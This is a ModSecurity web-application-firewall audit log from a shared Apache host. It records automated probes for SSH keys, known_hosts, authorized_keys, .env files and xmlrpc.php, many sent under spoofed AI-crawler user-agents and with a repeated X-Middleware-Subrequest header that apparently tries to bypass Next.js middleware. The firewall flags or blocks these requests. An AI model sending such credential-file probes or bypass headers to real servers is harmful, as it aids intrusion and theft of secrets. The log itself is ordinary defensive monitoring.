Stopwatch2: 1789277416793108 1843399; combined=40227, p1=277, p2=39881, p3=0, p4=0, p5=69, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9015fe3b-Z--
--65f44f49-A--
[13/Sep/2026:08:30:19.031452 +0300] aqY06WM7dE9KgIIOpQhnCwAAAMA 136.70.168.129 45512 127.0.0.1 7081
--65f44f49-B--
GET /.ssh/known_hosts HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--65f44f49-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--65f44f49-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/.ssh/known_hosts"] [unique_id "aqY06WM7dE9KgIIOpQhnCwAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.ssh/known_hosts"] [unique_id "aqY06WM7dE9KgIIOpQhnCwAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277417414059 1617498 (- - -)
Stopwatch2: 1789277417414059 1617498; combined=34528, p1=233, p2=34226, p3=0, p4=0, p5=69, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--65f44f49-Z--
--e0ba8e23-A--
[13/Sep/2026:08:30:19.421250 +0300] aqY06DTJ6xTvcJoem7f3egAAAFg 136.70.168.129 45492 127.0.0.1 7081
--e0ba8e23-B--
GET /.ssh/authorized_keys HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e0ba8e23-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e0ba8e23-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/.ssh/authorized_keys"] [unique_id "aqY06DTJ6xTvcJoem7f3egAAAFg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.ssh/authorized_keys"] [unique_id "aqY06DTJ6xTvcJoem7f3egAAAFg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277416895725 2525584 (- - -)
Stopwatch2: 1789277416895725 2525584; combined=35575, p1=217, p2=35295, p3=0, p4=0, p5=63, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e0ba8e23-Z--
--d14bf315-A--
[13/Sep/2026:08:30:19.778582 +0300] aqY06WM7dE9KgIIOpQhnCgAAAMk 136.70.168.129 45496 127.0.0.1 7081
--d14bf315-B--
GET /.ssh/config HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d14bf315-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d14bf315-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/.ssh/config"] [unique_id "aqY06WM7dE9KgIIOpQhnCgAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.ssh/config"] [unique_id "aqY06WM7dE9KgIIOpQhnCgAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277417388770 2389919 (- - -)
Stopwatch2: 1789277417388770 2389919; combined=51682, p1=257, p2=51361, p3=0, p4=0, p5=64, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d14bf315-Z--
--ee6ef308-A--
[13/Sep/2026:08:30:21.337007 +0300] aqY06WM7dE9KgIIOpQhnDAAAANA 136.70.168.129 45522 127.0.0.1 7081
--ee6ef308-B--
GET /id_rsa HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ee6ef308-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ee6ef308-H--
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/id_rsa"] [unique_id "aqY06WM7dE9KgIIOpQhnDAAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/id_rsa"] [unique_id "aqY06WM7dE9KgIIOpQhnDAAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277417466071 3871021 (- - -)
Stopwatch2: 1789277417466071 3871021; combined=36527, p1=217, p2=36232, p3=0, p4=0, p5=77, sr=92, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ee6ef308-Z--
--7d459a6e-A--
[13/Sep/2026:08:30:21.549481 +0300] aqY06WM7dE9KgIIOpQhnDQAAANE 136.70.168.129 45534 127.0.0.1 7081
--7d459a6e-B--
GET /id_dsa HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7d459a6e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7d459a6e-H--
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/id_dsa"] [unique_id "aqY06WM7dE9KgIIOpQhnDQAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/id_dsa"] [unique_id "aqY06WM7dE9KgIIOpQhnDQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277417515195 4034369 (- - -)
Stopwatch2: 1789277417515195 4034369; combined=37491, p1=335, p2=37055, p3=0, p4=0, p5=101, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7d459a6e-Z--
--68a78f69-A--
[13/Sep/2026:08:30:37.987344 +0300] aqY0-Uwu1RSkptiiNIXyOQAAAJA 136.70.168.129 34284 127.0.0.1 7081
--68a78f69-B--
POST /read-document HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
Content-Length: 20
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Content-Type: application/json
Accept-Encoding: gzip
--68a78f69-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--68a78f69-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:08-30.136.70.168.129"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789277437951148 36281 (- - -)
Stopwatch2: 1789277437951148 36281; combined=33901, p1=229, p2=33239, p3=0, p4=0, p5=433, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--68a78f69-Z--
--fb953638-A--
[13/Sep/2026:08:32:43.633516 +0300] aqY1ezTJ6xTvcJoem7f3gQAAAE0 185.219.163.175 46254 127.0.0.1 7081
--fb953638-B--
POST /contact HTTP/1.1
Host: ihelp.ro
X-Real-IP: 185.219.163.175
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 489
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Origin: https://ihelp.ro
Referer: https://ihelp.ro/contact
Sec-Fetch-Dest: document
Sec-Fetch-Mode: same-origin
Cookie: csrfToken=ySOMJkn5Oi3ygemZg8XAOzEwMjU2OTRjMDA4YjNmMTBjZTI3ZGYwZjhlNTZmMGEyZTgxMmM2Y2I%3D
Content-Type: application/x-www-form-urlencoded
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
--fb953638-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-DEBUGKIT-ID: e0868810-564d-4c2f-9057-ce06bcbd1223
Set-Cookie: PHPSESSID=niarmfpahkief80h8mb3ruslkl; path=/; secure; HttpOnly; SameSite=Lax
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--fb953638-H--
Message: Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/011_i360_8_spam.conf"] [line "102"] [id "77141095"] [msg "IM360 WAF: Block spam in PrestaShop||T:APACHE||MVN:TX:rbl_ip||MV:08-32.185.219.163.175||"] [severity "CRITICAL"] [tag "other_apps"]
Message: Matched phrase "/contact" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/011_i360_8_spam.conf"] [line "182"] [id "77142192"] [msg "IM360 WAF: Track spam attempts||T:APACHE||MVN:REQUEST_FILENAME||MV:/contact||"] [severity "NOTICE"] [tag "other_apps"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277563381573 252034 (- - -)
Stopwatch2: 1789277563381573 252034; combined=65373, p1=593, p2=64717, p3=0, p4=0, p5=62, sr=216, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--fb953638-Z--
--66d34a6e-A--
[13/Sep/2026:08:38:06.631061 +0300] aqY2vmM7dE9KgIIOpQhnugAAAM8 167.99.71.88 41654 127.0.0.1 7081
--66d34a6e-B--
GET /license.txt HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 167.99.71.88
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.27.1
--66d34a6e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--66d34a6e-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/license.txt"] [unique_id "aqY2vmM7dE9KgIIOpQhnugAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277886502800 128309 (- - -)
Stopwatch2: 1789277886502800 128309; combined=7469, p1=238, p2=7171, p3=0, p4=0, p5=60, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--66d34a6e-Z--
--d8204a33-A--
[13/Sep/2026:08:52:49.579512 +0300] aqY6MWM7dE9KgIIOpQhpFwAAAMU 129.159.56.14 57564 127.0.0.1 7081
--d8204a33-B--
GET /.env HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 129.159.56.14
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
accept-encoding: gzip,br
--d8204a33-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d8204a33-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/.env"] [unique_id "aqY6MWM7dE9KgIIOpQhpFwAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789278769491920 87711 (- - -)
Stopwatch2: 1789278769491920 87711; combined=4486, p1=326, p2=4078, p3=0, p4=0, p5=82, sr=115, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d8204a33-Z--
--0b6a857e-A--
[13/Sep/2026:08:53:30.295382 +0300] aqY6Wkwu1RSkptiiNIXzDwAAAIQ 17.166.20.119 53120 127.0.0.1 7081
--0b6a857e-B--
POST /navigation_times HTTP/1.1
Host: ihelp.ro
X-Real-IP: 17.166.20.119
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 422
content-type: application/x-www-form-urlencoded
accept: */*
referer: https://ihelp.ro/?artikel=bomberwinslot
origin: https://ihelp.ro
accept-encoding: gzip, deflate, br
accept-language: en-US,en;q=0.90
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
x-booking-csrf: XJvXaAAAAAA=CX4s0D3iyg_iRUuMf2iAsA1zXpCWWartikelymbBvzH2ABQjTszO3mfTCYHHUwSJCfLs6ukyO3JHkVWlP_MW02hTuSsNl1-Ru8GTcV_Y4CC0qmOXJl6Fdl-0tPC8r8z6HBK1fIFuAnDquEPeMiNr2jwIC4paXij0E9cBqLmEYbe9YAN1ZjwZtIOctNDR7sMeXwVN0I6spkMtq322zhFeC
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)
--0b6a857e-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: d382f80b-f351-445c-8f4a-d70e0437b1ee
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0b6a857e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789278810097331 198137 (- - -)
Stopwatch2: 1789278810097331 198137; combined=8813, p1=479, p2=8088, p3=0, p4=0, p5=246, sr=204, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--0b6a857e-Z--
--56d8d645-A--
[13/Sep/2026:09:00:08.798768 +0300] aqY76Ewu1RSkptiiNIXzWAAAAJA 47.79.201.91 44080 127.0.0.1 7081
--56d8d645-B--
GET /xmlrpc.php HTTP/1.1
Host: axapres.ro
X-Real-IP: 47.79.201.91
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://www.google.com/
Accept-Encoding: gzip
--56d8d645-F--
HTTP/1.1 405 Method Not Allowed
X-Powered-By: PHP/7.1.33
Allow: POST
Transfer-Encoding: chunked
Content-Type: text/plain;charset=UTF-8
--56d8d645-E--
--56d8d645-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "axapres.ro"] [uri "/xmlrpc.php"] [unique_id "aqY76Ewu1RSkptiiNIXzWAAAAJA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/axapres.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789279208120223 678615 (- - -)
Stopwatch2: 1789279208120223 678615; combined=10034, p1=3587, p2=6291, p3=98, p4=11, p5=47, sr=158, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--56d8d645-Z--
--950c315e-A--
[13/Sep/2026:09:00:18.443355 +0300] aqY78isVWymXUono-eRS0wAAABc 47.79.206.136 43998 127.0.0.1 7081
--950c315e-B--
GET /xmlrpc.php HTTP/1.1
Host: axapres.ro
X-Real-IP: 47.79.206.136
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://www.google.com/
Accept-Encoding: gzip
--950c315e-F--
HTTP/1.1 405 Method Not Allowed
X-Powered-By: PHP/7.1.33
Allow: POST
Transfer-Encoding: chunked
Content-Type: text/plain;charset=UTF-8
--950c315e-E--
--950c315e-H--
